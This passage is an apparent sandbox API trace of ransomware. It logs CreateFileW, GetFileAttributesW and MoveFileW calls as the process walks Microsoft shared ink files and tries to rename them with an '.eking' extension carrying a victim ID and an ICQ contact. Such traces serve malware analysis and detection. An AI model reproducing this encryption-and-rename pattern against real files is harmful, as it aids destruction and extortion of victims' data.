shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.964] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=694) returned 1 [0231.964] CloseHandle (hObject=0x348) returned 1 [0231.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0231.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0231.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.965] SetEvent (hEvent=0x2b8) returned 1 [0231.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.967] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2518) returned 1 [0231.967] CloseHandle (hObject=0x348) returned 1 [0231.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0231.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0231.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.968] SetEvent (hEvent=0x2b8) returned 1 [0231.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.969] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2570) returned 1 [0231.969] CloseHandle (hObject=0x348) returned 1 [0231.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0231.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0231.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.969] SetEvent (hEvent=0x2b8) returned 1 [0231.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.971] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2526) returned 1 [0231.971] CloseHandle (hObject=0x348) returned 1 [0231.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0231.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0231.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.972] SetEvent (hEvent=0x2b8) returned 1 [0231.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.973] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2568) returned 1 [0231.973] CloseHandle (hObject=0x348) returned 1 [0231.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0231.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0231.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.070] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2626) returned 1 [0232.070] CloseHandle (hObject=0x368) returned 1 [0232.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0232.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0232.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.078] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=125952) returned 1 [0232.078] CloseHandle (hObject=0x368) returned 1 [0232.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0232.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0232.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.078] SetEvent (hEvent=0x2b8) returned 1 [0232.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.080] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2240) returned 1 [0232.080] CloseHandle (hObject=0x368) returned 1 [0232.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0232.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0232.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.085] SetEvent (hEvent=0x2b8) returned 1 [0232.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.104] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2644) returned 1 [0232.105] CloseHandle (hObject=0x358) returned 1 [0232.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0232.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0232.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.113] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2520) returned 1 [0232.113] CloseHandle (hObject=0x358) returned 1 [0232.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0232.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0232.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.114] SetEvent (hEvent=0x2b8) returned 1 [0232.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.136] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10752) returned 1 [0232.136] CloseHandle (hObject=0x358) returned 1 [0232.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0232.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0232.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0232.148] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10240) returned 1 [0232.148] CloseHandle (hObject=0x348) returned 1 [0232.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0232.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0232.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.213] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1700352) returned 1 [0232.213] CloseHandle (hObject=0x358) returned 1 [0232.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0232.213] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0232.213] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0232.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.223] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1540608) returned 1 [0232.223] CloseHandle (hObject=0x358) returned 1 [0232.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0232.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0232.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.224] SetEvent (hEvent=0x2b8) returned 1 [0232.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.225] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6368768) returned 1 [0232.225] CloseHandle (hObject=0x358) returned 1 [0232.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0232.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0232.232] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0232.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.238] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1075712) returned 1 [0232.238] CloseHandle (hObject=0x358) returned 1 [0232.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0232.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0232.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.251] SetEvent (hEvent=0x2b8) returned 1 [0232.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 